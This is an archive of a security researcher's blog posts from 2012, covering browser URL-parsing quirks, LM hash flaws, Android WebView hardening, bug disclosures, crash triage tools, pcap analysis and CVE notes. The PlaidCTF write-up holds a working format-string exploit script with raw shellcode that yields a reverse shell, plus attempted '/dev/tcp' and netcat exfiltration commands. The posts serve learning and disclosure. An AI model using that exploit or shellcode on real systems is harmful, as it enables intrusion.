Saturday, December 29, 2012

RFCs and Conflicts

This post is mostly a collection of notes I had made while reading "The Tangled Web" -- it tried to list out conflicting RFCs and implementations and obscure RFCs which fail to specify certain edge cases.

Please note that a lot of the snippets have been taken "as is" from the book TTW -- I'm just trying to consolidate it for easier future reference. If there is any mistake in what you read below its probably because I screwed up while noting stuff down.

The RFC specification is in RED
RFC improvements(if any) are in light PURPLE
Browser implementation conflicts are in GREEN
If there is a personal note that I'd like to add, its colored BLUE.

RFC 1738 - Uniform Resource Locators (URL) - page 25, TTW
Before Browsers and Web applications parse URLs, they need to be able to distinguish absolute URLs from relative ones. A valid scheme is meant to be a key difference. In a compliant absolute URL, only the alphanumerics '+', '-', '.' may appear before the required ':'.
All browsers ignore the leading newlines, whitespaces. IE ignores 0x01-0x1F. Chrome skips 0x00 and the NUL character. Most browsers allow newlines, tabs in the middle of scheme names. Opera accepts high-bit characters in the string.

RFC 1738 - Uniform Resource Locators (URL) - page 25, TTW
Every absolute hierarchical URL is required to contain "//" right before the authority section.
The RFC however does not mention how the presence of a "//" in a non-hierarchical URL is to be dealt with.
RFC 3968 acknowledges this flaw and permits implementations to try and parse such URLs for compatibility reasons
The address "" is treated as "". "javascript://" is interpreted as a valid non-hierarchical pseudo-URL in all modern browsers and alert(1) will execute. "mailto://". IE accepts this URL as valid non-hierarchical reference to an email address, other browsers disagree
"mailto://" in google chrome opens up a google search with that value. "mailto://" and "mailto://" opens up the mail client

RFC 1738 - Uniform Resource Locators (URL) - page 26, TTW
RFC permits only canonical notations for IP addresses. eg(
As the C libraries used by applications are more relaxed "", "http://0x7f.1/" and "http://017700000001/" might be considered equivalent.

RFC 1035 - Domain Names - Implementation and Specification - page 27, TTW
DNS labels need to conform to a very narrow set(alphanumerics, '.', '-').
Most browsers will ask the underlying operating system to look up almost any DNS name.

Monday, November 5, 2012

Understanding how LM hashes are broken

Quoting Wikipedia "LM hashLanMan, or LAN Manager hash is a compromised password hashing function that was the primary hash that Microsoft LAN Manager and Microsoft Windowsversions prior to Windows NT used to store user passwords. Support for the legacy LAN Manager protocol continued in later versions of Windows for backward compatibility, but was recommended by Microsoft to be turned off by administrators; as of Windows Vista, the protocol is disabled by default, but continues to be used by some non-Microsoft CIFS implementations."

The article goes onto mention the three reasons why LM hashes are flawed :-

  1. The maximum allowed length of the password is 14 characters. Considering alphanumerics(52), and other ASCII printable characters as the keyspace, we have a total of 95^14 possibilities(4876749791155298590087890625L). The number of bitwise combinations would be log-base-2 (95^14) = 91.977978516633272.
  2. Passwords longer than 7 characters are hashed separately ; so each block could be bruteforced separately as the possibilities for each block would be 95^14. Furthermore, all alphabets are uppercased before hashing which reduces the keyspace by 26 bringing down the possibilities to 69^14.
  3. Salts are not used. Assuming that you have a password with lesser than 8 characters -- the second block is empty which yields a constant 0xAAD3B435B51404EE upon hashing.
  4. Implementation error, for authentication purposes the hashes are generated at the client side from the password and then sent over to the server. From an attackers perspective, knowing the password is equivalent to knowing the hash.
An interesting read, indeed. ;-)

Android WebView Security -- a few notes

[1] Javascript
By default Javascript is disabled in Android -- however, developers can choose
to turn them on in `WebSettings`. Do not turn them on unless absolutely necessary.
WebView myWebView = (WebView) findViewById(;

[2] addJavascriptInterface
A lot of code uses `addJavascriptInterface`. Using the API presents a wide range of
security issues ranging from attackers executing native code by taking advantage of
an XSS vulnerability to attackers executing native code with a malicious child iframe.
Please note that if you can avoid using the API, do so.
Below you can find the various attacks possible along with solutions suggested for the
same :-

- Attackers taking advantage of an XSS vulnerability
- If you are using the `addJavascriptInterface` API, it is safe to assume that you
have overridden the defaults and have turned on JavaScript in your WebView using the
API discussed in [1]. This exposes your application to XSS, hence its absolutely
critical that you filter and encode untrusted input.

- Viewing an attacker controlled website in the WebView
- If an attacker can cause a WebView to visit a malicious web application, the attacker
could use the exported interfaces to execute native code on the device.

- A variation of this attack might have a malicious web application that has the
legitimate web application as a child i-frame. Assuming that the child i-frame interacts
with the exported interfaces, the responses(that might contain sensitive data) are
sent back to the parent i-frame by injecting javascript into the WebView.

- A solution to the above mentioned problems would be to navigate to domains outside
the expected domain, by using `shouldOverrideUrlLoading`, checking if the domain is
allowed and using the default Android browser, rather than the WebView to open the
URL if it is not trusted.
This could be done by creating an Intent and sending it over.

Overriding the URL can be done as follows :-
public boolean shouldOverrideUrlLoading(WebView wView, String url)
String hostName = Uri.parse(url).getHost();
if( hostName != "" )
Uri uriUrl = Uri.parse("");
Intent launchDefaultBrowser = new Intent(Intent.ACTION_VIEW, uriUrl);
return true;
return false;
- [WARNING] shouldOverrideUrlLoading does not intercept URL loading from an IFRAME
or src attribute or XmlHttpRequests.
BE very careful when I-Framing a child. Do not I-Frame over HTTP.

public WebResourceResponse shouldInterceptRequest(final WebView view, String url)
return getResourceManually();
// let the resource load normally
return super.shouldInterceptRequest(view, url);
private WebResourceResponse getResourceManually()
   return getUtf8EncodedWebResourceResponse(new StringBufferInputStream("Blah!"));

[3] Plugin support for WebViews
- If your application does not use plugins such as Flash, disable them explicitly. This
prevents attackers from compromising your application via a 3rd party plugin.

_ You can disable plugins using the following snippet of code

webview = new WebView(this);

- If you need a particular plugin you can use setPluginState

webview = new WebView(this);

[4] Disabling the local file system access
- By default the local file system access is enabled for WebViews. Resources and assets
can be accessed as file:///resource_id or file:///asset_name respectively.
It is a good idea to turn this off in order to reduce the impact of a possible compromise.

- You can disable file system access as follows

webview = new WebView(this);

- If there are resources that your WebView needs to access you can choose to allow only
requests from a trusted domain to access resources by a solution similar to that
presented in [2].

Reference :-

Tuesday, June 19, 2012

iOS and improper aif parsing

Improper handling of aif(c) files leads to a memory access violation in the mediaserverd daemon. The bug occurred due to improper parsing of the FLLR chunks in aifc files. FLLR chunks are typically used to align other chunks to 4 byte boundaries(to improve parsing efficiency). If a padding of length 5 is required, FLLR followed by a null byte(0x00) is used for alignment. However, modifying the 0x00 byte causes this crash upon parsing. Upon inspection, exploitability was unconfirmed. Most of the tests were performed on an iPod with iOS 4.2.3 and an iPhone with 5.0.1.

12th MayReported to the Apple Security Team, with PoC. Exploitability unconfirmed.
15th MayACK from Apple Security Team.
17th MayRequest for update.
19th MayUpdate from Apple, confirming crash on 5.1.1 also.
19th JuneUpdate from Apple, reclassifying the issue as non-security(out-of-bound-read), with low exploitability likelihood.

Sunday, April 29, 2012

PlaidCTF - pwnable 99

This writeup is only 99% complete. :P

This challenge came in the form of a libc so file and a binary, so at first I assumed that the libc had some modified/hooked functions so I thought of verifying that.

$ md5sum 

Searching around gets you this, and you realize its not a modified libc. Reversing the binary, you notice that it asks for a hardcoded password, a name and a guess value which is generated randomly. Hence, the libc file.

The "name" value is associated with a format string vuln as shown in [3]. If we are to get past to that location of the code the "rand" shouldn't be that random.
Some copy-paste-from-IDA moments later :-
struct time_t *tt;
int operate() {
asm(".intel_syntax noprefix\n");
asm("mov ecx, offset tt\n");
asm("mov ecx, [ecx]\n");
asm("mov ecx, [ecx]\n");
asm("mov edx, 0x88888889\n");
asm("mov eax, ecx\n");
asm("imul edx\n");
asm("lea eax, [edx+ecx]\n");
asm("mov edx, eax\n");
asm("sar edx, 5\n");
asm("mov eax, ecx\n");
asm("sar eax, 0x1F\n");
asm("mov ecx, edx\n");
asm("sub ecx, eax\n");
asm("mov eax, ecx\n");
int main() {
tt = (struct time_t *)malloc(sizeof(time_t));
int x = operate();
int xx = rand();
printf("%d\n", xx);
Set LD_PRELOAD in your shell to point to the provided so file, and run the binary - you notice that the values dont vary that much often. Another little something was that direct paramater access did not work. Here's my ugly sploit, worked like a charm on my VM, got me a reverse shell, wonder why it did not work on the pctf machine. I guessed the challenge machine had PST on it, so I ssh'd into another machine and seems they were on UTC(you have to set the time appropriately on your machine).
import struct
import envoy
guess ='./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name = struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1b)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.230u%n%.139u%n%.265u%n%.192u%n"
name += "\x90"*20
name += "\xbf\x74\x0a\x79\x60\xdb\xc9\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x0d\x31\x7d\x14\x03\x7d\x14\x83\xc5\x04\x96\xff\x48\xbb\x05\x43\xf8\x51\xab\x29\x98\xfd\x22\x4c\xa9\x7e\xa3\xd4\x5a\x7e\xc9\xe9\x9e\xe6\xa5\xf1\x9d\x80\x66\x83\x43\x26\xee\xcb\xd3\xe6\xb9\x62\x32\x4b\x88\xf5\xee\xd5\xa4\xfa\xa0\xe5\x05\x82\x3e\x08"
print name
print guess
At this point, someone suggested using system and I tried that.
import struct
import envoy
guess ='./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name += struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.116u%n%.68u%n%.65154u%hn"
print name
print guess
Tried doing stuff like ls > nc ip port, ls > /dev/tcp/ip/port, none of that would work. Ran outta time at this point, guess I should have started on this one earlier. I'll just lookout for other writeups :P :D

Leetmore's exploit can be found here!
Eindbazen's exploit here!

Thursday, April 26, 2012

a quick look into crashwrangler

Recently I had the opportunity of doing a crash analysis in OSX and decided to checkout CrashWrangler. Quoting a post from 2009,

Exploitable if:
Crash on write instruction
Crash executing invalid address
Crash calling an invalid address
Crash accessing an uninitialized or freed pointer as indicated by 
using the MallocScribble environment variable
Illegal instruction exception
Abort due to -fstack-protector, _FORTIFY_SOURCE, heap corruption 
Stack trace of crashing thread contains certain functions such as 
malloc, free, szone_error, objc_MsgSend, etc.

Not exploitable if:
Divide by zero exception
Stack grows too large due to recursion
Null dereference
Other abort
Crash on read instruction

Checking out the source I saw that it made a set of perfectly reasonable assumptions to help try and figure out if the crash was exploitable. In order to figure out where the corruption occurs it checks out functions which are not present in dylibs like libSystem.B.dylib - it looks higher in the stack. Also where the crash happens in the functions present in these dylibs is not as important as who called this function and the offset within the callee.

It also tries to determine whether a write, read or exec of an invalid address causes the crash. Checking if the eip == access_address_reported_in_crash should be the easiest way to check if its an exec crash. If its a call to a relative address recursion is detected, if you have something like call eax, you might have exploitability. If you have a cmp, test or fld you have a read, if you have a fst you have a write. If you have a jmp its an exec crash.

A crash at the "push <register>" instruction has two possibilities. It could be a read crash, while reading eax or a write crash while writing to esp - im not sure why, but it seems to interpret the second case as recursion. "inc" and "dec" on a register would never crash, so it would have to be a write to memory, write crash. It also checks if the instructions are "lods" "stos" or "mov".

Its interesting to note that some applications crash with assertion if the memory allocated is too big by writing a null byte to 0xbbadbeef - something i did not know. Checks for that seem to be present. Heap corruption is detected looking at the functions in the stack trace. Snippet from the code :-

585       "malloc", "calloc", "realloc", "CFRelease", "CFRetain", "_CFRelease", "_CFRetain","objc_msgSend",
586       "szone_free", "free_small", "tiny_free_list_add_ptr", "tiny_free_list_remove_ptr",
587       "small_free_list_add_ptr", "small_free_list_remove_ptr", "large_entries_free_no_lock",.
588       "large_free_no_lock", "szone_batch_free", "szone_destroy",
589       "CSMemNewPtr", "CSMemNewPtrClear", "CSMemNewHandle", "CSMemNewHandleClear",.
590       "CSMemPtrToHand", "CSMemPtrAndHand", "CSMemDisposeHandle",  "CSMemDisposePtr",.
591       "CSMemReallocateHandle", "free",  "szone_error", "WTF::fastFree(void*)",.
592       "WTF::fastMalloc(unsigned long)", "WTF::FastCalloc(unsigned long, unsigned long)",
593       "WTF::FastRealloc(void*, unsigned long)",.
594       "WTF::tryFastMalloc(unsigned long)", "WTF::tryFastCalloc(unsigned long, unsigned long)",.
595       "WTF::tryFastRealloc(void*, unsigned long)", "WTF::TCMalloc_Central_FreeList",.
596     ]

The backtrace is also checked for stack buffer overflows or guard check failures.

597     suspicious_funcs = [
598       "__stack_chk_fail", "append_int", "release_file_streams_for_task", "__guard_setup",
599       "_CFStringAppendFormatAndArgumentsAux",.
600     ] 

Finally at the part where exploitability is determined EXC_ARITHMETIC,  EXC_BAD_INSTRUCTION, EXC_CRASH, EXC_BREAKPOINT are ruled out. Write/Read Null dereferences are considered as ruled out. If the stack frame line contains a "libdispatch.dylib" or a "libxpc.dylib", its ruled out.

There is more to crashwrangler than what i've mentioned here, you have a "exc_handler" than does an execve on the target application and monitors the exception/crash - you could use this if the crash can be reproduced.

Looking into this makes me wonder about how "!exploitable" works - I also hear that there is something similar being developed for gdb on the linux platform.

Thursday, April 19, 2012

system call fuzzing - trinity for osx

Last month I've been doing a bit of fuzzing on iOS 5.0.1(hope to be able to publish the results of the same some time soon), this month I've decided to take a look at some syscall fuzzing. I found "trinity" by Dave Jones a very interesting fuzzer and decided to port it over to OSX.

I've uploaded a very early version of the same here ; right now it should compile without problems with    -m32. Next steps would be to make it work fine on 64 bit, then add more syscalls, and then get it to work on iOS.

Friday, March 2, 2012

multiple vulnerabilities in taglib

Dhanesh K. and myself have uncovered multiple vulnerabilities that can be triggered in taglib - a library used by vlc, amarok and other players for metadata tag parsing.

Timeline :-
February 29th, March 3Vulnerability discovery, contacting main developers, filing launchpad bug(security bugs are private by default, unless made public later on).
March 4Ack from developer, asking us to post details to the taglib mailing list. Details posted to mailing list.
March 42 bugs patched, PoC ogg files sent for resolving the other two bugs
March 4Other bugs confirmed on latest release, however, does not crash on dev head.
March 4Request for CVE
March 6CVE-2012-1107 and CVE-2012-1108 assigned
March 27CVE-2012-1584 assigned

Related links :-
LP bug
Taglib mailing list discussion

Tuesday, February 28, 2012

some pcap analysis - CVE-2003-0533

I had a look at pcap file from a honeynet challenge and it was quite interesting. Its about analyzing an attack which has taken place, having to figure out the vulnerability etc. There are 2 hosts involved, A( and B(

Looking at the pcap, lets start by tracing the tcp streams quickly. Looking at the hex representation of the stream(A=>B), you see lots of nops; it seems we have some shellcode in between the same.

The second TCP stream(A=>B) also seems to have something interesting for us.

Certain FTP commands seem to be written into the file "o" and the ftp client seems to be getting invoked in order to execute the commands in the file "o", which involve logging in, getting a file and quitting. After that the downloaded file is run. This is

The third TCP stream seems to have relevant data flowing both ways. The Blue indicates A=>B and Red indicates vice versa.

Haha, that was funny. :) So, as expected a file seems to be transferred. At this point, I'd guess the next TCP stream to be an executable of some sort; the "smss.exe" shown above.

Looking at the hexdump of the file, we can see that the file starts with "MZ" - the file format signature for PE files.

A bit of guessing :-
Everything you just saw, happened in a timespan of 16 seconds which is quite quick. Also, you can do an OS detection on the packets involved and notice that A is a Windows machine(an infected machine?) while B is a Linux machine(honeypot?).
In order to identify the vulnerability, I had another look at the protocols and ports involved in the first tcp stream. Around packet 28(in stream 1), you have a DCERPC request, you have the shellcode being sent, and you have a DsRoleUpgradeDownlevelServer request. Making a few searches we get that, this and this suggesting that we are dealing with a case of CVE-2003-0533.

just a few tshark commands

Just a few tshark commands to get you some information on a pcap file involved.

  • List the hosts involved(if you need a guess the canonical name, dont use "-n")

             tshark -r my.pcap -z ip_hosts,tree -qn

  • Try out OS fingerprinting on the hosts involved in the pcap by doing

             p0f -s my.pcap -N

  • if you wanna see the sessions involved, you can do

             tshark -r my.pcap -qnz conv,tcp

  • To view information about the pcap files like details about the duration across which the packets were captured, you could do :-
             capinfos attack-trace.pcap 

Monday, February 20, 2012

CVE-2011-4612 and icecast2

The vulnerability allows a person to modify whats written into a logfile by crafting a certain GET request to the icecast2 server. You can view the CVE details here and the bug details here.

Saturday, February 18, 2012

CVE-2010-3076 and smbind

This is just another issue I verified for Maverick - I did not write the patch/debdiff for the same. There does seem to be a upstream patch(debian lenny) for the same, so probably it'll be a fake sync rather than a patch in Ubuntu.

I just had a look at the highlighted packages for the week here and decided to look at the web frontend for BIND. You can view the CVE details here.

Tuesday, February 14, 2012

CVE-2011-2921 and ktsuss

ktsuss is a setuid that works more or less like a graphical "su". Lets install it on Maverick and play around with it.

Monday, February 13, 2012

CVE-2010-3387 and vdrleaktest

I recently helped triage and fix this one in Ubuntu(maverick) and thought of writing up a post about it. First of all, lets see how zero-length directories mess things up.

CVE-2011-0996 and dhcpcd

Debian did not seem to have any discussion/patches on this one; however a bit of searching showed me that opensuse had fixed the issue. As reading a patch file would be a lot better use of my time that trying to rediscover it by reading the source fully, I did a bit more of searching and found this(check out the dhcpcd-3.2.3-option-checks.diff file).

As the name suggests, check_domain_name does the domain name sanitizing, making sure you dont have anything other than alphabets, numbers and dots, no two consecutive dots, no "_" or "-" at the start of the domain name, a total length < 255. Inside check_dhcp_option you have the rootpath being checked for symbols of any kind. If the message type was a DHCP_DNSSEARCH, then you are going to need a sanitation check on each of the hostnames retrieved, and hence you have check_domain_name_list.

Saturday, February 11, 2012

CVE-2012-0065 and usbmuxd

While I have been involved in the triaging/patch creation for most CVE's(for Maverick) discussed here, this is one that I picked up because of sheer curiosity. I was not involved in triaging or bugfixing it. The fix was provided by Leo Iannacone.

Lets start off here; we can notice that versions after Maverick are affected. There is not much to explore as most of it has been discussed on various mailing lists and forums already; it seems like a case of a straightforward heap overflow to me.

Check out the diff here if you are curious.

CVE-2010-4000 and gnome-shell

You can view a description of the issue here. From this we can understand that the error is in the exporting of the LD_LIBRARY_PATH. Get the source, try to locate the vuln quickly.

Thursday, February 9, 2012

Ubuntu's symlink restriction

I had a look at a CVE-2011-3618(you can view the launchpad discussion here) recently that was posted in the debian mailing lists. It was related to a symlink vulnerability in the atop package. You can view the proposed patch here.

The attack vector would be the ability to overwrite files by guessing the value of tmpname2. The patch would be to use mkstemp.

I just had a look at Ubuntu's security features(check out the one on symlink restrictions) and it seems that symlinks are not followed in world-writable directories, if the process and the directory owners are not the same as the symlink owner.

If you are curious about how this is implemented, its in the form for an LSM - the commit diff of which you can view here. Its implemented in the yama_inode_follow_link function.

Friday, January 27, 2012


MD5 - c97d934f77f8b17da73d9396f23ee024

This particular unpackme has a tampered tElock packing - I read about an effective and quick way to go about unpacking it a while back. Surprisingly, the same method works quite a few of the packers/protectors out there, so I thought it'd be nice to document it here.

Start off by using the executable with Excphook.exe and counting the number of exceptions raised. Load the executable into Olly, set a breakpoint on KiUserExceptionDispatcher and run the executable. F9 through the breakpoints, count number of times(where count is the number of exceptions you came across in Excphook.exe).

Remove the breakpoint on KiUserExceptionDispatcher, set another on the code section of your executable.

F9 and viola, you're at the OEP.

The very same method works with tELock 0.98 with all options enabled and it seems to work just fine.